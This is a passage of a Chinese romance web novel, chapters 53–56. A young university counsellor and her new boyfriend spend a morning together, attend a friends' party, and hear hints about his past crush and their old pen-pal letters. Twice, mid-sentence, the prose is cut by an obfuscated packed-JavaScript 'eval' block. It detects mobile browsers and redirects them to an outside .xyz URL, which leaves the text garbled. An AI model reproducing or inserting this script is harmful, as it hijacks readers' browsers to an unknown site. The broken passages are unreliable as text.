方才的场景的确有嫌疑,她为了气江逸风而在利用周祈越。又让她想起江澈为了甩掉前女友,一时兴起利用温可颜。这两种行为无实质差别。 “不是气话。”陈夏柠偏头看他,发自内心地说,“我喜欢的人是你,不是他。” “嗯。”周祈越轻咬了下她耳廓,又亲了亲她侧脸,“我喜欢的人也是你。” 从小到大,一直都是你。 这一刻,周祈越像得到了什么宝物似的,抱着她难舍难分,头埋在她颈窝,有一下没一下地亲着她。 陈夏柠第一次见识到这么粘人的周祈越,他的头发戳着她脖颈,“好痒,你放开。” “再多抱一会儿。” “......” 53. 狗男人 闹钟一响,陈夏柠猛地坐起身,眯着眼,拖着困倦的身体从卧室走进洗漱间。 站在洗漱台前,挤牙膏,拿起牙刷开始刷牙,她抬眼看向镜子中的自己,视线落在脖颈处,白嫩的皮肤依稀可见斑驳的红晕。 于是昨晚的场景清晰闪现—— 周祈越从身后抱着她,跟她侧脸相贴,唇角似有若无地轻啄她的耳垂,而后顺着往下,“占了我那么多次便宜,现在都要偿还回来。” “......” 耳边是他喘重的呼吸声,陈夏柠也无暇反驳他这话的无理,被迫仰头配合着他的一举一动。 其实周祈越的吻很轻,像是在克制。感受到她的紧张,他就没再继续亲她了。 被松开的那一刻,陈夏柠恍然诧异,她刚进入状态,怎么就戛然而止了! 经过一夜,冷静下来,这会儿反倒为昨晚的场面感到羞耻。 陈夏柠闭了闭眼,吐掉口中的泡沫,一边用粉底液遮挡痕迹,一边热着脸骂:“狗男人。” “......” 洗漱完回卧室换好衣服,陈夏柠只拿着手机出门,屏幕一亮,是狗男人的消息:【小熊猫,起床了没。】 她站在电梯门口,勾着唇角,敲字“大灰狼,我起了”。 正要点击发送,腰肢敷上一只手掌,带着力度。 陈夏柠整个靠在他怀里,下意识抬眼,男人下颌流畅又尖锐,锋芒毕露。 明明是死亡视角,也招架不住他帅到没边。自从周祈越工作后,浑身野性和痞气愈发盖过少年气息。 两种矛盾的气质,放在他身上却也相得益彰。 她视线往上挪,看他的伤势,昨晚冰敷消肿了些,但唇角还挂着点红晕。 跟她脖颈处的红晕相差无二。 不知道的,还以为他这是接吻咬破了皮。 “......” 周祈越扫过一眼她的屏幕,好整以暇地看她,坏笑:“信不信大灰狼会吃了你。” “......” 陈夏柠回神,有一丝慌乱,又佯装强势道:“你敢!” 电梯门开,周祈越揽着她的肩膀进去,边讳莫如深地笑了下:“现在不敢,不代表以后不会。” “......” 陈夏柠觉得这话怪怪的,总之不适合深入探讨,干脆闭嘴。 密闭的空间只有两人,他从口袋里掏出一只手表,另一只手指下滑,握住女生纤细的左手腕。 周祈越捋了捋她的袖口,给她戴表,陈夏柠看着他的动作说:“我有手表的,就是不经常戴。” “这可不是一般的手表。”周祈越给她指一个按钮,“遇到危险的时候,按动这个,我会第一时间找到你。” 昨晚的事,平白无故地让他挨打,陈夏柠之前的顾虑就是这些,她不希望周祈越沾惹上跟自己不相关的麻烦,“对不起,我昨晚本来在等你。也不知道他怎么找到我的,他还说了一些莫名奇妙的话......” “你说什么对不起。”周祈越歪着头跟她对视,正儿八经地说,“以后不许跟我说对不起谢谢之类的话,男朋友就是用来麻烦的,懂么?” 陈夏柠心跳漏了半拍,点头嗯了声。 同时注意到,他的手表,跟她的,是情侣款。 出了电梯,周祈越左手牵着她,女生的手指葱白纤细,他大拇指按着她手背,一下又一下地玩弄着。 陈夏柠回握住他掌心,上次醉酒摸它是因为好看,现在是因为他的手掌有安全感,让人情不自禁想依赖。 清晨阳光熹微,薄薄的光线落在两人难舍难分的指缝间。 很快就走到了小区门口,刚从闸口出来,迎面撞见刘阿姨。 “早上好,刘阿姨。”陈夏柠不再像之前那样无措,抢先打招呼,视线落在她怀中橘猫,是昨晚碰见的那只。 刘阿姨给怀中的猫顺毛,笑嘻嘻地说:“你们小情侣的感情越来越好了。” 前两天乘电梯撞见刘阿姨闪了腰,周祈越帮忙给她提菜到家,这会儿关怀道:“阿姨您的伤没事吧?去医院看了吗?” 话间,陈夏柠松开他的手,上前摸了摸橘猫的头,它再次发出咕噜噜的声音。 “去医院看了,我现在不是好好的。”刘阿姨应完这句,瞧着陈夏柠说,“月牙好像很喜欢你。” “原来它叫月牙啊。”陈夏柠笑着说,“昨晚我在门口草地上看见它来着。” “哦这样啊,昨晚月牙跑丢了,给我急了一夜,这不,刚找回来。”刘阿姨说,“月牙是我捡回来的流浪猫,性格挺好的,就是还没改掉流浪的习惯,一不留神它就跑得无影无踪了。” 通道来往的人变多,刘阿姨没跟他们继续闲聊下去,“有时间来家里坐啊。” 人都走远了,陈夏柠还在看着那只猫。 一边的周祈越看着自己悬空的手,似有不满:“好啊,这刚在一起,我就被一只猫打败了。” “......” 陈夏柠眼睛骨碌一转,打量着他几秒:“我是觉得月牙的眼睛很像你,所以才多看的。” 周祈越语塞,这都能扯上他。 先是泰迪熊,又是一只猫,下次又是什么。 这次他不敲她脑门,改去捏她脸颊的肉,带了点力度往外扯,“我谢谢你啊,下次别盯着路边的狗说像我。” “......” 陈夏柠心虚,咬了下唇。 十五分钟前还骂他狗男人来着。 - 周五的工作并不轻松,新院长上任后,学生纪律这块抓得更严了。在上课五分钟前,导员要进班查考勤率。 她带的这两个班还算消停,最近没给她惹什么祸。陈夏柠唯独看了眼坐在角落的温可颜,她正在认真看书。 前天跟她谈心,温可颜最后说了句模棱两可的话:“谢谢导员,我以后不会影响自己的学业的。” 自从鹿雯提醒她后,陈夏柠也开始关注学校贴吧,了解学生的动态。 有谣传说两人已经分手了,隔壁航空大学的贴吧直接晒出江澈跟另一个女生勾肩搭背的照片。 她并不觉得惊讶,毕竟见惯了学生时代的江逸风。 一个游戏人间的浪子,最不差的就是女朋友,身边的女人比衣服还多。 关键还总有无知少女,凭着暗恋美化他。 想起昨晚江逸风的行为,陈夏柠就愈发看不起曾经那个喜欢他的自己。 真的是瞎了眼了。 转身出教室前,她的目光从温可颜身上移开。 看清楚江澈的为人,温可颜应该不会再喜欢他了吧。 就像曾经的自己一样,虽然性格懦弱,但也足够果断放弃一个人。 查完考勤,又被通知去会议室内开会。 王书记神情严肃,以领导的姿态发言:“首先,我要表扬一下陈老师,她策划的从前慢书信交友反馈不错,许多学生不仅认识了新朋友,还有的找到了伴侣,不再沉迷于网络,专注现实。” 说完王书记带头鼓掌,其他人也跟着一起为她鼓掌。 陈夏柠受宠若惊,讪讪地笑了笑。 “这第二件事呢,”王书记继续说,“就是我们航海学院准备和隔壁的航空大学联合培养飞行员......” 陈夏柠已经没再听了,想起自己的书信。 0711就是周祈越。 他到底知不知1007是她呢? 鹿雯胳膊肘戳了下她,小声说:“你表现这么好,那转正名额非你莫属了。” 陈夏柠回神,茫然地啊了声。 左手边的林思闻言,幽幽地看她一眼。 - 下午四点半,陈夏柠将乱七八糟的工作处理完,伸了个懒腰,只等着放学了。 恰好这时办公室只剩下她和鹿雯,后者托着腮看她。 “怎么了?”她问。 “陈老师,谈恋爱的滋味怎么样呀。”鹿雯一脸姨母笑,“周祈越怎么样,带不带劲?” 陈夏柠:“......” 带不带劲?是她理解的那个意思么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488462|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐跟鹿雯熟络后,她说话也不像刚认识那样客套了,性格大大咧咧,有什么说什么。 这点跟许佳念倒是很像。 “我两昨天刚确定关系,你今天就知道了?”陈夏柠话中感叹这信息转播,又想起谢泽和周祈越这套关系,莫非是周祈越说的。 “啊,昨天在一起的?”鹿雯惊讶的表情显然不是,“前天谢泽跟我说,周祈越烟花告白成功了。” 陈夏柠一怔,想起前天那通电话。 无地自容的感觉又来了。 谢学长不会还在误会着吧。 唉。 为什么当时没解释清楚呢。 仔细一想,谢学长压根没给她的机会吧。 “我也是才知道,谢泽最近一直帮他策划表白。”鹿雯说,“还好他没有照搬自己那一套给周祈越。” 听这口气,陈夏柠缓缓道:“谢学长,怎么跟你表白的?” “商场大屏幕表白啊!尴尬死我了!”鹿雯摇头叹气着,“当着那么陌生人的面,我很社死的,得亏我是喜欢他的,要换做其他人,都不好拒绝的。” “......” 另一边,走到五号门入口的谢泽,弓着腰打了个喷嚏。 一抬头,对上一张春风得意的脸,俯视着他说:“干什么,跟你爹拜年啊。” “......” 谢泽板着脸,瞪他一眼:“会不会说话,你爹帮你追到姑娘,你就这态度啊。” 周祈越切了声:“我自己追到手的。” “那我也出了很多力好吧!”谢泽看着周祈越站在闸机口刷脸失败,指尖夹着一张校园卡,语气炫耀,“我们家雯雯给的。” 平日都是跟过路学生混进来的,这会儿倒没学生路过了,周祈越眼高于顶,无奈说了句:“开门,活爹。” “......” 虽然语气带着威胁,但也算占到便宜,谢泽见好就收,旋即给他刷过去。 两人并排走着,心照不宣彼此的目的——来接女朋友下班。 他这工作是张瑞介绍的,谢泽也了解搜救局的工作时间,问:“你今天怎么下班这么早?搜救局的工作不轻松吧。” “不忙不就早了。”周祈越淡淡道,“还行。” “那你最近执行什么任务了,东海还是渤海?” “外太空。” “......” 几乎是同一时间,陈夏柠和鹿雯收到男朋友的短信,两人一起下班。 四个人再次汇聚在航院的大门口。 周祈越走到跟前,牵起陈夏柠的手。 谢泽笑吟吟地看着两人,鼓掌邀功:“新人要请吃饭的啊,择日不如撞日。” “你小子......”还真会破坏我的二人约会。 周祈越睨着他,也无奈,毕竟谢泽是帮他出了很多计策,虽然也没用上。 鹿雯打了下谢泽,秋后算账:“上次说好你请,最后还是周船长付的钱,这次怎么着也得你请。” “行行行,我请!” 周祈越捏了捏陈夏柠的手,眼神征求意见。 陈夏柠了然道:“我都可以啊,反正也没什么事。” “确定?”他凑到耳边小声说,“不想去就不去。” “确定!”陈夏柠郑重其事地说,只是看着谢学长有点尴尬而已,等会有必要找机会解释一下误会。 “那行,走吧。”谢泽拉着鹿雯走在前面,闲散地问,“最近工作怎么样,有没有好玩的事?” “有啊。”鹿雯说起从前慢书信活动,身后的两人也在听着,回头看一眼陈夏柠,“还是陈老师的灵感,她说,之前本科的时候海大举行过。” “我知道!”谢泽也回头看周祈越,“他当年可是文学社的社长!这活动还是他提议的哈哈哈哈。” 鹿雯:“真的嘛!周船长这么多才多艺?!” 陈夏柠神色稍愣,抬眼看向周祈越。 他被动地加入话题,瞧着她不可置信的眼神,“怎么,我就不能有点文学基因?” 54. 得偿所愿 连周祈越本人都意外自己会当什么文学社的社长。 他刚上大一那年,复兴古诗词文化很火热,各大中小学以及大学如火如荼地举行诗词大会。 这种比赛也就在文科类专业吃香,辅导员一转发到班群里让大家报名,可以说是无人理睬。 当时是校级比赛,航海学院身为海大的王牌专业,要是无人参赛属实丢脸。 于是导员采取抽签的模式,在每个班摇人,强制参加,周祈越成为了“幸运儿”之一。 他没放在心上,本想走个过场。 比赛当天,大礼堂一楼大厅坐着各个学院的参赛选手,想拿奖的人捧着一本唐诗宋词临时抱佛脚。 不想拿奖,强制参加的学生,比如周祈越,和同学围坐一团,热火朝天地打游戏。 本来玩的挺好,耳边突然来了一堆苍蝇嗡嗡地攻击他们。 “你们看看,这理工科的何必来凑热闹,专门上台丢人是嘛。” “哟,航海学院的也来了,正在用打游戏掩饰慌张呢,害怕等会吓尿了哈哈哈哈。” “......” 这话说的跟报身份证号有什么区别,旁边的谢泽烦躁地撂下手机,气势汹汹地要起身,周祈越单手操作页面,腾出一只手把他拽回来。 “别拦我,我想打人,”谢泽瞪着为首的“大苍蝇”,“当面侮辱,什么意思啊。” 对方愈发猖狂:“呦呦呦,急了,一群垫背的。” 其他几个人也没心思打游戏了,齐刷刷看过去。 “卧槽,这谁啊,这么吊!” “文学社的社长,乔书杰。”谢泽冷笑一声,“还江湖人称海大的才子,大文豪呢。” “什么玩意儿,大文豪嘴巴这么臭,白瞎了自己的名字了。” “对对,这么狂,咱能不能治治他。” “要不你们等会比赛给他一个下马威?”谢泽这话一出口,其他人立刻噤声了,这本来就是以己之短对抗他人之长的事,他叹声气,“算了,我觉得凑他一顿更爽快。” “......” 谢泽又要起身,又被猛拽回来,“干什么!周大少爷,别人在骂咱,你能忍,我忍不了!” 周祈越瞥他一眼,没什么情绪地说:“谁说我要忍了。” 闻言,谢泽老实坐回去,洗耳恭听:“所以你怎么治他?” “好好参加比赛啊。”周祈越说。 谢泽就差把“轻蔑”两字写脸上了,“距离比赛还有十分钟,你是想用这十分钟开启量子阅读,再开启过目不忘的超能力,创造一个奇迹?” “......” 副驾的鹿雯听得兴味盎然,推着谢泽的肩膀,“然后呢然后呢?” 开车的人是谢泽。 陈夏柠和周祈越坐在后座,她对他的学生时代挺好奇,竖着耳朵在听。 恰好前方红灯,谢泽透过后视镜,看故事的主角——周祈越正抱着胳膊,眯着眼睛,昏昏欲睡。 “结果啊,他真就创造了一个奇迹,不仅成为全校的第一,最后晋级到市赛,也是第一。”谢泽虽受不了周祈越的狂妄,但这件事,打心底佩服他。 旁听的陈夏柠打趣道:“他是用十分钟量子阅读了?” 谢泽笑:“也是后来知道,这货的高考语文145分。” 两姑娘相视一望,目瞪口呆。 陈夏柠自认为语文是自己的强势,最高也就130多分。 “他是被爷爷奶奶带大的。”谢泽简明扼要地说,“他爷爷是航海家,奶奶是个作家,这家伙从小耳濡目染,打小记忆力就好,被奶奶逼着背了不少诗词。” 陈夏柠纳闷,为什么是爷爷奶奶照顾他,不是爸爸妈妈呢? 他好像没怎么提过自己的父母,也是独自一人单住。 “书香世家。”鹿雯点评,继续拉回正题,“那他就因为拿了第一所以当了社长?” 虽然从小有看书的习惯,周祈越的理想还是像爷爷那样成为一个报效国家的航海员,对文学谈不上热爱,所以拿到市级第一后,导员想推荐他参加国赛,他一口拒绝了。 仅仅如此,足以让乔书杰这位“大文豪”颜面尽失,从校级到市级竞赛,周祈越始终压他一头,成为万年老二。 那段时间,学校贴吧很多人都在嘲笑乔书杰,说周祈越才是真正的大才子,周大才子狠狠地打了文学院的脸。 本来在理工科院校中,文科类专业地位不高,这下更显得他们不怎么样了。 再次和周祈越成为对手,是校内篮球赛,乔书杰完全无法冷静面对他,更接受不了篮球也要输给他。 嫉妒的因子作祟,乔书杰根本不是在打球,用篮球对周祈越发起攻击,却不想谢泽眼疾手快,上去拦球,被迎面的球砸中鼻子。 短时间内,谢泽体验到了天昏地暗,满脸鼻血,脑震荡。 事后,教官狠狠批评了乔书杰一番。 周祈越并不满足于此,他为人处事就是,人不犯我我不犯人,人若犯我我必不留情,况且那球本来冲他而来,谢泽是为了救他才受伤。 后来文学社换届,周祈越偏偏去竞争社长一职,不为别的,就为把乔书杰拉下台,挫一挫他的锐气。 乔书杰平日本就得罪了不少人,再加上周祈越人气高,社长之位手到擒来。 周祈越只当了半年的社长,就跟副社长贺景调换职位了。 到了大三,贺景跟他们宿舍玩的也不错,经常一起聚会吃饭。 “周祈越,你说今年举办什么活动来吸引大一新生呢?”贺景随口问他,“最好是有意思的,能让大家交友或者表白的。” 当时KTV正在播放着《纸短情长》,周祈越眸色一沉,犹豫半晌说:“就写信吧,说不出口的话就写出来。” ...... “真就是缘分啊,多年后,陈老师也提出写信交友。”鹿雯乐呵呵地赞叹,有种说不出来的巧合,“冥冥之中,你俩是注定要在一起的。” 陈夏柠抿唇笑笑,转眼看周祈越,自从上车后他就很累很困的样子,此刻正俯低着头打瞌睡。 随着车子一颠簸,男人身体□□斜,陈夏柠余光瞥见,肩膀及时凑过去,给他支力。 “那当年你参加书信活动了吗?”鹿雯问谢泽。 “没啊,我大学没谈过恋爱,你是第一个。”谢泽跟接到什么送命题似的,还好反应及时,话锋一转,“周祈越参加了,一直到毕业还在跟笔友写信。” “啊,奔现了没?”说完这话,鹿雯瞄了眼陈夏柠,感觉自己说错话了,不该在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14494597|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他现女友面前提这种危险的送命题,连忙做了个拉链封嘴的动作。 谢泽目视前方专注开车,没看到暗示,“没吧,我以前也问他知不知道笔友是谁,他说不知道,就是觉得写信有意思。” 陈夏柠抬手扶住他的后脑勺,将人揽在自己怀中。 或许是她的错觉,她怎么可能是周祈越的暗恋对象呢。 整个学生时代,她都不记得他,只有仔细回忆起来,他们曾像普通的陌生人一样,擦肩而过彼此的生活。 真正的交涉,是从朝阳岛开始。 然后他们互相喜欢上对方。 无论他知不知道,也都不重要了。 可能就是缘分吧,他们注定要在一起。 她望着眼前人笑了笑,无比珍惜,又暗自庆幸。 谢谢你,0711同学。 那个时候,愿意听我说那么多话。 给一个素不相识的人,那么多无声陪伴。 - 谢泽这趟车开得极为漫长,陈夏柠也快跟着睡着了,直到感觉车停,她叫醒周祈越。 天色已黑,四个人从车里下来,站在一栋别墅前。 陈夏柠和周祈越满脸茫然,后者朝谢泽点点下巴,“就睡一会儿觉的功夫,你开到什么荒郊野岭了。” “轰趴懂不懂!”谢泽瞧着他还迷迷瞪瞪的,揶揄道:“你还好意思说,靠在女朋友肩膀睡了一小时,也不知道你咋这么困,说话都吵不醒你。” “别说了,好饿。”鹿雯拉着谢泽进去,回头笑了笑:“记得给陈老师揉揉肩啊。” “......” 周祈越摸了下后颈,转眼看她肩膀,“进屋给你揉揉。” “......还好,我没感觉。”陈夏柠脸热,看他状态说,“最近工作很累?” “还行,各种训练。” 他摇了摇头让自己清醒,虚揽着她进屋。 “快看看谁来了。”谢泽吆喝一声,偌大的客厅,两拨人视线相撞。 陈夏柠瞧见三副面孔,两男一女,其中一位男士,先前在水上餐厅遇见过,其他两位就不认识了。 “介绍一下,张瑞,我们宿舍的老大哥,和他女朋友余清歌。”谢泽从左到右介绍,指着最后一位男人,隆重介绍,“今晚的寿星,郑起航。” 同时看到他们仨,周祈越惊喜一笑,上前伸出拳头锤了下郑起航肩膀,“什么时候回来的啊,都没打声招呼。” “昨天刚回来。”郑起航淡笑了声,看向他旁边的女生,“你女朋友啊?” “也是我未来的媳妇。”说着周祈越牵起她的手,向诸位介绍,炫耀的神情。 陈夏柠怔了一下,朝三位颔首,“你们好,我叫陈夏柠。” 谢泽:“呦呦呦,这么快就叫上媳妇了。” 张瑞:“我早就说过,周少爷要是谈恋爱了,玉皇大帝都得吃他的狗粮。” “......” 陈夏柠也被他这声“媳妇”杀个措手不及,这么多人看着,她脸颊更热了。 不是局促和不安,而是一种难以言说的欣喜。 心窝好似灌入一股暖流。 这就是幸福么。 郑起航眼波在两人间流转,意味深长地说:“总算得偿所愿了。” 55. 夫管严 早在他们四个来之前,其他三人买好了食材在厨房里堆积着。 七个人分为两组,四个男人忙碌于厨房,剩下三位姑娘反倒没事干了。 她们把茶几挪到一边,盘着腿坐在地毯上,悠闲适得地玩牌。 女生熟络起来也快,三言两语的事,更何况新朋友余清歌性格随和,知性大姐姐,说话让人很舒服。 “没想到啊,他们宿舍四个都会做饭。”余清歌摸着牌,悠悠道,“当初张瑞追我的时候,天天给我做爱心早餐,时间长了,就真离不开他了。” 陈夏柠和鹿雯微微一笑。 “这的确很像张瑞,居家好男人。”鹿雯羡慕地说,又加以对比,“我刚认识谢泽的时候,他根本不会做饭,现在进厨房也是打下手的份。” 话茬就这么轮到陈夏柠身上,她也没有炫耀的意思,如实回答:“周祈越做饭挺好吃的,感觉什么都会。” “是嘛,张瑞经常跟我说他们宿舍的事,”余清歌认真想了一下,“嗯...听说周祈越第一次做煎蛋,张瑞试吃,直接去医院洗胃去了。” “啊?”陈夏柠整理牌的动作一顿,抬眼追问,“什么情况?” 余清歌:“他把洗衣粉当成盐了哈哈哈。” 鹿雯噗嗤笑出声:“怎么感觉像谋杀哈哈哈。” “......” 陈夏柠也不禁笑了,难以想象平日什么事都能做好的周祈越也有这么蠢的一面。 以后嘲笑他有素材了。 与此同时,厨房里,四个人的话题也扯到这件事。 张瑞举起手边菜刀,审视着他:“周少爷,我有必要怀疑你当年嫉妒我,蓄意谋杀室友。” 周祈越慢悠悠地摘着芹菜,“那你说说,你有什么值得我嫉妒的?” 张瑞:“因为我是咱宿舍第一脱单的人啊。” “切,我根本不在意好吧。”周祈越一脸“我当时对恋爱不感兴趣”的表情。 随即看了眼谢泽,想起第一次做饭是在宿舍开小灶,“你中毒老谢也有责任,洗衣粉放进瓷杯里用也只就他能干出来,谁让他乱放,我当成盐了,当时还以为盐放锅里起泡泡是正常现象。” “......” 无端被翻旧账,谢泽以牙还牙,强行把煮汤的郑起航拉入话题,“老郑,问你一个问题,周祈越大学暗恋的姑娘是谁啊,别跟我说你不知道啊,你说漏嘴过。” 郑起航眨了眨眼,呆呆地看着周祈越。这下张瑞也撂下手中的活,像听到什么奇闻似的,“你可别胡说,他大学的时候什么样,咱不都清楚么。” “我可没胡说啊。”谢泽叉着腰,言辞凿凿地说,“上次聚会玩真心话大冒险他承认了,没想到吧,这小子藏得这么深。” 三双眼睛盯着他,周祈越闲靠在岛台,“干什么,不做饭了?” “别转移话题,我还真好奇了。”谢泽的胃口被吊足,看向唯一知情的郑起航。 一时间周遭的氛围僵持着。 下一秒,角落传来“哗啦”一声,转移了注意力。 陈夏柠只是想来这边拿酒,不想打扰他们,谁知一开冰箱门,保鲜柜里的蔬菜和零食就溢出来了。 她忙不迭蹲下收拾,口中不断重复着“不好意思”,倏忽,两只大掌分别攥住她的手腕,将她拉起来。 四目相对时,周祈越眼角弯了弯:“我来收拾就行,你想要什么?” 她讷讷道:“啤酒。” 周祈越转身去岛台拿出一提常温的青岛啤酒,眼神凶巴巴道:“你不许喝。” 陈夏柠:“......” 她余光瞥了眼朝这边看过来的其他三人。 一下子显得自己是“夫管严”了。 “哦。”陈夏柠敷衍应了声,从他手中抢过啤酒,跑回客厅。 周祈越不放心,收拾完就跟过去了。 等俩人走了,谢泽忧心忡忡地说:“完了,她不会听见了吧。” 张瑞蹙起眉,提醒着他:“以后说话小心点,别在人家现女友面前提过去式,多影响他俩的感情。” 郑起航继续干活,噙着笑:“放心,不会的。” - 余清歌和鹿雯认为只玩牌没意思,所以让陈夏柠帮忙拿酒,用作惩罚。 重新坐回去后,陈夏柠想着在厨房听到的,感觉今天一整天都在从别人口中了解周祈越的过去。 一直都是周祈越主动了解她,倾听她的心事,连写信也是如此。 这么一想,身为他女朋友,自己挺失职的。 陈夏柠心不在焉着,莫名想知道他曾经的暗恋对象,想知道他上一段喜欢是怎样的。 一不留神,鹿雯亮出最后一张大王,“我赢了!” 陈夏柠啊了声,意识到自己是地主,同时输给了两人。 她抬手刚拉开易拉罐,瓶身就被夺走,周祈越坐在她旁边,一口气饮下去,边说:“我替她喝。” “哟,周少爷家教挺严,啤酒都不让喝。”余清歌看着乖软的陈夏柠,那眼神彻底坐实了“夫管严”的称号。 陈夏柠拽了下他的衣袖,底气不足地说:“就喝一点没事的。” 周祈越凉凉地扫她一眼,无声说:在喝酒这事上,我一个字都不会再信你。 “......” 陈夏柠理亏,只要周祈越强势起来,她就能立马认怂,根本hold不住他。 唉。 论蛮力,小白兔终究抵不过大灰狼的。 她得识时务,听话一点。 接下来,连续三轮,陈夏柠的运气着实背,总是摸到地主,总是输。 从周祈越第二次帮她喝酒时,鹿雯笑嘻嘻地拱火道:“替喝要加倍啊。” 陈夏柠安分地坐在旁边,一杯又一杯地给他倒酒,像个帮凶。 “要不你来玩吧。”她把牌递给他,找由头脱身,“我去看看他们做好饭了没。” “行。”周祈越随手摸了摸她的头。 余清歌咧咧嘴:“周少爷,替喝又替玩。” 鹿雯附和道:“要是谢泽在这,我说一句话,他连个屁都不敢放。” 周祈越慢条斯理地出牌,散漫的笑了笑:“我媳妇呢,玩牌喝酒不太行,我可不能让她吃亏。” 余清歌真服了他了,笑出声:“你这个护妻狂魔!” “......” - 厨房里真正在忙活的是张瑞和郑起航,就差最后一道汤了。谢泽空闲下来,围着郑起航转悠。 “老郑,你跟我说说,咱毕业第一年,航海日,他生日那天,到底发生什么了。”按照自己所了解的,谢泽推测,“周祈越是不是找那女生去了,所以回来的时候失魂落魄。” “是。”郑起航被缠的也烦,干脆满足他的好奇心,“那天,那姑娘在酒吧借酒消愁被人盯上了,他上前解围,还跟人动手来着.....” 说着一转身,看见陈夏柠就站在敞开的隔门外。 “……” 屋内的三人瞬间石化,气氛再次迎来沉默。 意识到自己又打扰到他们的对话,陈夏柠整个手足无措,磕巴道:“我是想....问,你们.....需不需要帮忙。” 郑起航泰然自若地说:“刚做完,没什么事儿,你先去歇着吧。” “好。” 陈夏柠盯着郑起航的脸,方才就有种在哪见过的错觉,现在这种感觉更强烈了,她应该是见过郑起航…… 目睹陈夏柠离开后。 谢泽懊 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陈夏柠抬眼看过去,分明是两个酒鬼,貌似周祈越醉的更厉害。 他今晚帮她挡了很多酒。 想到这,陈夏柠心生歉意,急忙上前搭把手,扶住周祈越的另一只胳膊,问谢泽,“学长,他房间在哪啊?” “那。”谢泽给她指了个方向,在一楼,她房间的隔壁。 陈夏柠扶着周祈越走,到了房门口,谢泽一松手,摇头晃脑地比手敬礼:“祝二位不负良宵,花好月圆。” “......” 乱用成语是谢泽的强项,她属实麻了。 更何况,她不必跟醉酒人计较。 陈夏柠右肩膀一重,快要支不住周祈越,改为站在他前面,将他两只手臂搭在自己肩上。 就着这个别扭的姿势,艰难地把男人扶到床边,她缓缓松开一只手,就在这时,一道人影覆盖下来。 “哎,周——” 措不及防地,鼻息钻入强烈的乌木香,周祈越的头埋在她颈窝,完全把她压在身下…… 陈夏柠浑身僵着,咬了下唇,心悬在嗓子眼似的。 两人前胸贴后背,隔着薄薄的衣料,再次感受到男人坚实的肌肉,块状分明,压着她的浑圆。 也不知是他的身体烫,还是自己的身体烫,总之她感觉自己像个热气炉。 跟她不一样,周祈越醉酒意识不清时很老实,不会乱摸乱亲,只是嘴里含混不清地说着什么话。 须臾,她双手抵在他胸膛,猛地用力,推开了他。 随即从床上坐起身,平复着自己的呼吸,稍稍冷静下来,回身看着躺在床上的男人。 冷白的皮肤透着点红,褪去平日的嚣张,周祈越现在倒像个娇羞的姑娘。 陈夏柠嘿嘿一笑,随即拿手机拍照留念,专门怼着男人白里透红的脸拍。 末了,她给他脱鞋,把他身体挪正,坐在床沿给他松衬衫领子,解扣子的指尖禁不住发抖。 正准备收回手,周祈越似乎做了什么受刺激的梦,胡乱地抓住她的左手,“柠柠。” 陈夏柠心口一缩,怔怔地看他。 男人继续说着下半句:“我很想你……” ———— 1007:[我做饭真的好差哦,不小心烫到了手,还是室友做的饭好吃,我们会偷偷在宿舍开小灶,嘘……——2016.5.5] 0711:[没有人规定女孩子要会做饭,不擅长那就不做了。以后总会有人给你做饭吃。——2016.5.6] 1007:[借你吉言,那就希望我未来的伴侣会做饭吧。——2016.5.7] 56. 周学长 陈夏柠的生物钟基本定型,昨天睡得晚,没有闹钟,还是六点多就醒了,赖床到七点半,下床洗漱。 从房间出来,客厅和厨房空荡荡的,昨晚六人喝了酒,估计没那么快醒来。 她在厨房扫视一圈,从剩下的食材中搜罗到绿豆和大米,想起绿豆粥有解酒的功效,陈夏柠放足够了料,熬了一大锅。 大家醒来都可以喝啦。 陈夏柠先盛一碗绿豆粥,双手小心翼翼地捧着,朝周祈越房间走。 还没到门口,周祈越已经打开门出来了,两人四目相对。 陈夏柠笑:“你醒了,我熬了粥。” 周祈越忙不迭上前接过手,端着往客厅,边说:“怎么不喊我起来做。” “我醒得比较早,闲来无事而已。”陈夏柠跟他一并坐在沙发上,看着男人用勺子舀粥,吹着上面的热气,她悠悠道:“就当犒劳昨晚你为我挡酒咯。” 话音刚落,那盛着粥的勺子送到了自己嘴边。陈夏柠眨巴眨巴眼,一时有点懵。 周祈越俯视着她,璀璨的瞳孔残留着困倦,吐字简短又像命令:“张嘴。” “......” 陈夏柠张了张口去喝粥,睫毛颤个不停。 说不上来的感觉,就挺...秃然吧。 还是第一次被人喂着吃东西。 “我喝过了。”陈夏柠见他还想喂她,推着他的手臂,说,“你喝吧。” 周祈越就此打住,也不换勺子,就这么用她用过的,自顾自地喝粥。 陈夏柠抿了下唇,想起昨晚被他压在床上的场面,以及此刻的场面——他们的唇角触碰到同一个地方。 上床,接吻。 这些不纯洁的词汇猛地跳出来。 伴随着一道长长的哈欠声,谢泽走过来跟两人招呼:“早上好啊,昨晚你们两睡得怎么样啊?” 你们俩睡得,怎么样。 谢泽的话明显带着不纯洁的味道,陈夏柠一本正经地说:“昨天我把他送到房,就回自己房间了。” 意思是,什么都没发生,你别乱猜。 上次那个电话也是。 周祈越喝粥的动作顿了下,目光挪向她,“昨天你送我回房间的?” “昂。”陈夏柠又看一眼谢泽,急于证明清白,说话也着急,“还有学长,我们一起扶你的。” “嗯。”周祈越点点头,察觉到她在谢泽面前的慌张,恍然想起两天前那通电话。回到家,他回拨过去听到一通黄色发言,又联想陈夏柠红着脸的样子,直接把谢泽骂个狗血淋头。 